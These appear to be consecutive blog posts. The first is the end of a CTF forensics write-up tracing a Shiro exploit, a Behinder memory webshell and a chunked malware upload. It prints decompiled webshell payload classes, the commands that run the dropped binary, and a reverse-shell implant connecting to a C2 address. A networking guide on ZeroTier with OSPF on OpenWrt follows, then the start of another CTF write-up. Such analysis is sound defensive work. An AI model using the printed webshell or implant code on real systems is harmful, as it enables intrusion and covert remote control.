System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} This retrieved system information. Decoding the response confirmed this. Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp. Later, a file write operation was found: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark's Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary. Finally, a hash check was performed: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } Execution permissions were granted: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } Then it was executed: package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this. Layer 3: Custom Shell Following the HTTP stream, a TCP stream communication was found. Dumping it revealed: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM's structure (12-byte nonce, 16-byte tag). Attempting GCM decryption: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 The output was: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722} A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() This confirmed the use of AES-GCM. Summary The complete attack chain was as follows: sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS) rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end Phase 1: Shiro Vulnerability Exploitation and RCE Verification The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies. Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.

[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF Background I was originally setting up my own ZeroTier "big internal network". Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing. I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea: Kagura iYoRoy: 02-10 14:49:05 Hey... Kagura iYoRoy: 02-10 14:49:06 Then... Kagura iYoRoy: 02-10 14:49:20 If you also set up OSPF on your router... Kagura iYoRoy: 02-10 14:49:27 Our two home networks would be directly interconnected, huh? ( Let's do it! Basic Information Local Side Router OS: OpenWrt, X-WRT 26.04_b202601250827 LAN IPv4 Prefix: 192.168.3.0/24 ISP: Hefei China Unicom NAT Environment: NAT1 Remote Side Router OS: OpenWrt, X-WRT 25.04_b202510240128 LAN IPv4 Prefix: 192.168.1.0/24 ISP: Hefei China Mobile NAT Environment: NAT1 Installing ZeroTier and Using a Self-Hosted Planet I used ZTNet as the self-hosted Controller. The setup process won't be elaborated here as you can find it online. The OpenWrt version I'm using has started using apk instead of opkg as the package manager. Use apk to install zerotier-one directly: apk add zerotier After completion, open /etc/config/zerotier to find the default configuration file. config zerotier 'global' # Sets whether ZeroTier is enabled or not option enabled 0 # Sets the ZeroTier listening port (default 9993; set to 0 for random) #option port '9993' # Client secret (leave blank to generate a secret on first run) option secret '' # Path of the optional file local.conf (see documentation at # https://docs.zerotier.com/config#local-configuration-options) #option local_conf_path '/etc/zerotier.conf' # Persistent configuration directory (to perform other configurations such # as controller mode or moons, etc.) #option config_path '/etc/zerotier' # Copy the contents of the persistent configuration directory to memory # instead of linking it, this avoids writing to flash #option copy_config_path '1' # Network configuration, you can have as many configurations as networks you # want to join (the network name is optional) config network 'earth' # Identifier of the network you wish to join option id '8056c2e21c000001' # Network configuration parameters (all are optional, if not indicated the # default values are set, see documentation at # https://docs.zerotier.com/config/#network-specific-configuration) option allow_managed '1' option allow_global '0' option allow_default '0' option allow_dns '0' # Example of a second network (unnamed as it is optional) #config network # option id '1234567890123456' # option allow_managed '1' # option allow_global '0' # option allow_default '0' # option allow_dns '0' Modify it according to your needs: config zerotier 'global' option enabled '1' # Enable ZeroTier client service option config_path '/etc/zerotier' # Persistent directory: for storing identity secret, Moon node definitions, and network settings option secret '' # Leave secret blank: identity will be auto-generated on first run and saved to identity.secret option copy_config_path '1' # Flash protection policy: copy config to memory on startup. If set to 0, read/write directly to Flash config network 'earth' option id '<network ID>' # 16-digit ZeroTier Network ID option allow_managed '1' # Allow receiving controller-assigned IPs, routes, and tags option allow_global '1' # Allow receiving globally routable IPv6 unicast addresses (GUA) via ZeroTier option allow_default '0' # Allow ZeroTier to take over the default gateway (similar to a global proxy) option allow_dns '1' # Allow receiving and using DNS servers configured in the ZeroTier control panel Regarding copy_config_path '1' Because the ZeroTier working directory /var/lib/zerotier-one is part of tmpfs in OpenWrt, its contents are cleared on reboot. Therefore, configurations like planet, identity, and network files need to be stored in the router's Flash storage, i.e., the path set in config_path. The default logic is to create a soft link from the configured config_path to /var/lib/zerotier-one on startup to achieve persistence. All read/write operations in /var/lib/zerotier-one are then written to Flash. However, frequent ZeroTier read/writes can significantly reduce Flash lifespan. Enabling copy_config_path '1' specifies that on ZeroTier startup, the configurations from config_path are copied directly into /var/lib/zerotier-one. This greatly extends the internal Flash lifespan, but the downside is that modifications made via zerotier-cli are not automatically synced back to Flash by default, making this option less suitable for scenarios requiring frequent configuration adjustments. After making changes, use: /etc/init.d/zerotier start /etc/init.d/zerotier enable to start ZeroTier and enable auto-start on boot. On first startup, if the secret field was left empty, it will be auto-generated. After startup, copy all files from /var/lib/zerotier-one to /etc/zerotier. Download the Planet file to the config_path set above, i.e., /etc/zerotier. After completion, restart ZeroTier: /etc/init.d/zerotier restart That's it. Then, go to your ZeroTier Controller console, and you should see the new device has joined. Next, you may need to allow ZeroTier traffic through the firewall. This step can be referenced from other online tutorials. I chose to allow all traffic; it shouldn't be a big issue under NAT1. Installing and Configuring Bird2 I didn't expect the Bird2 version in the apk repository to be very recent. As of this writing on 2026-02-10, the Bird2 version in apk is 2.18 Use the following command to install: apk add bird2 # bird daemon itself apk add bird2c # birdc command Because OpenWrt's default bird configuration file is located at /etc/bird.conf, and I prefer modular referencing by placing different configurations in separate folders based on function, I chose to move the default config file to /etc/bird/bird.conf and store various config files within that folder. Open /etc/init.d/bird: #!/bin/sh /etc/rc.common # Copyright (C) 2010-2017 OpenWrt.org USE_PROCD=1 START=70 STOP=10 BIRD_BIN="/usr/sbin/bird" BIRD_CONF="/etc/bird.conf" BIRD_PID_FILE="/var/run/bird.pid" start_service() { mkdir -p /var/run procd_open_instance procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE procd_set_param file "$BIRD_CONF" procd_set_param stdout 1 procd_set_param stderr 1 procd_set_param respawn procd_close_instance } reload_service() { procd_send_signal bird } Change the BIRD_CONF value to /etc/bird/bird.conf: - BIRD_CONF="/etc/bird.conf" + BIRD_CONF="/etc/bird/bird.conf" Then create the /etc/bird folder. All subsequent OSPF configuration files will be placed here. Configuring OSPF My configuration file structure follows these rules: /etc/bird/bird.conf serves as the sole entry point, defining basic configurations like Router ID, filter prefixes, and then including other sub-configurations. Configurations for different networks are placed in separate folders, e.g., public internet parts in /etc/bird/inet/, DN42 parts in /etc/bird/dn42/, and my own internal network parts in /etc/bird/intra/. Each network has a defs.conf handling common functions (similar to utils in Golang development?). Thus, the final configuration file structure is: /etc/bird/bird.conf: Configuration entry point define INTRA_ROUTER_ID = 100.64.0.100; define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # IPv4 prefixes allowed to be advertised via OSPF define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # IPv6 prefixes allowed to be advertised via OSPF protocol device { scan time 10; }; ipv4 table intra_table_v4; # Define internal routing IPv4 table ipv6 table intra_table_v6; # Define internal routing IPv6 table include "intra/defs.conf"; include "intra/kernel.conf"; include "intra/ospf.conf"; The RouterID here is directly taken from the node's IPv4 address within the ZeroTier internal network. Separate tables are used for future safety, e.g., if connecting this node to DN42. /etc/bird/intra/defs.conf: Functions for filters function is_intra_net4() { return net ~ INTRA_PREFIX_V4; } function is_intra_net6(){ return net ~ INTRA_PREFIX_V6; } function is_intra_dn42_net4(){ return net ~ [ 172.20.0.0/14+ ]; } function is_intra_dn42_net6(){ return net ~ [ fd00::/8+ ]; } /etc/bird/intra/kernel.conf: Write routes learned by OSPF into the system routing table protocol kernel intra_kernel_v4 { kernel table 254; scan time 20; ipv4 { table intra_table_v4; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; protocol kernel intra_kernel_v6 { kernel table 254; scan time 20; ipv6 { table intra_table_v6; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; /etc/bird/intra/ospf.conf: OSPF module protocol ospf v3 intra_ospf_v4 { router id INTRA_ROUTER_ID; # Specify RouterID ipv4 { table intra_table_v4; # Specify routing table import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 intra_ospf_v6 { router id INTRA_ROUTER_ID; # Specify RouterID ipv6 { table intra_table_v6; # Specify routing table import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; }; include "ospf/*"; }; /etc/bird/intra/ospf/backbone.conf: OSPF Area Configuration area 0.0.0.0 { interface "br-lan" { stub; }; # Local LAN interface interface "zta7oqfzy6" { # ZeroTier interface type broadcast; cost 100; hello 20; }; }; After completion, use: /etc/init.d/bird start /etc/init.d/bird enable to start Bird and enable auto-start on boot. If everything is fine, you can use birdc s p to check Bird's status. If all goes well, after the other side is configured, you should see the OSPF state as Running: root@X-WRT:/etc/bird# birdc s p BIRD 2.18 ready. Name Proto Table State Since Info device1 Device --- up 14:28:02.410 intra_kernel_v4 Kernel intra_table_v4 up 14:28:02.410 intra_kernel_v6 Kernel intra_table_v6 up 14:28:02.410 intra_ospf_v4 OSPF intra_table_v4 up 14:28:02.410 Running intra_ospf_v6 OSPF intra_table_v6 up 14:31:38.389 Running Have your friend follow the same process. Once both sides show Running status, you can use birdc s r protocol intra_ospf_v4 to view the routes learned by OSPF. You'll find that routes to the other side via ZeroTier are being learned normally: root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4 BIRD 2.18 ready. Table intra_table_v4: ... 192.168.1.0/24 unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163] via 100.64.0.163 on zta7oqfzy6 ... 192.168.3.0/24 unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100] dev br-lan You can also ping your friend's server from your PC: iyoroy@iYoRoy-PC:~$ ping 192.168.1.103 PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data. 64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms 64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms 64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms ^C --- 192.168.1.103 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103 traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets 1 100.64.0.163 (100.64.0.163) 10.445 ms 9.981 ms 9.892 ms 2 192.168.1.103 (192.168.1.103) 11.621 ms 10.994 ms 10.948 ms Web browsing and speed tests work normally: Summary This series of operations essentially implements the following network structure: flowchart TB %% === Style Definitions === classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5 classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000 classDef invisibleContainer fill:none,stroke:none,color:none %% === Physical Layer Containers === subgraph Top_Physical_Layer [" "] direction LR subgraph Left_Side ["My Home (Node A)"] direction TB L_Router[X-WRT Router A]:::router L_LAN[LAN: 192.168.3.0/24] L_LAN <--> L_Router end subgraph Right_Side ["Friend's Home (Node B)"] direction TB R_Router[X-WRT Router B]:::router R_LAN[LAN: 192.168.1.0/24] R_LAN <--> R_Router end end %% === Virtual Layer Container === subgraph Middle_Side [ZeroTier Virtual L2 Network] direction LR subgraph ZT_Stack_A [My Home ZT Access] direction TB L_NIC(zt0: 100.64.0.x):::ztCard L_Bird(Bird OSPF):::bird L_NIC <-.- L_Bird end subgraph ZT_Stack_B [Friend's Home ZT Access] direction TB R_NIC(zt0: 100.64.0.y):::ztCard R_Bird(Bird OSPF):::bird R_NIC <-.- R_Bird end L_NIC <==P2P Tunnel==> R_NIC end %% === Cross-Layer Connections === L_Router === L_NIC R_Router === R_NIC %% === Style Application === class Left_Side,Right_Side phyNet class Middle_Side virNet class Top_Physical_Layer invisibleContainer The underlying P2P network is still powered by ZeroTier. However, using OSPF for internal routing allows both sides to directly route to devices on each other's network segments. Since both sides can fully learn each other's routes, no NAT is required, and both sides can directly see each other's source addresses. Check out the other side of this story! From my friend's side: Linux Operations - OSPF Networking Implementation Based on Bird for New OpenWrt » NanamiのTechLaunchTower

PolarCTF 2025 Winter Competition Web Polarflag WriteUp Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return 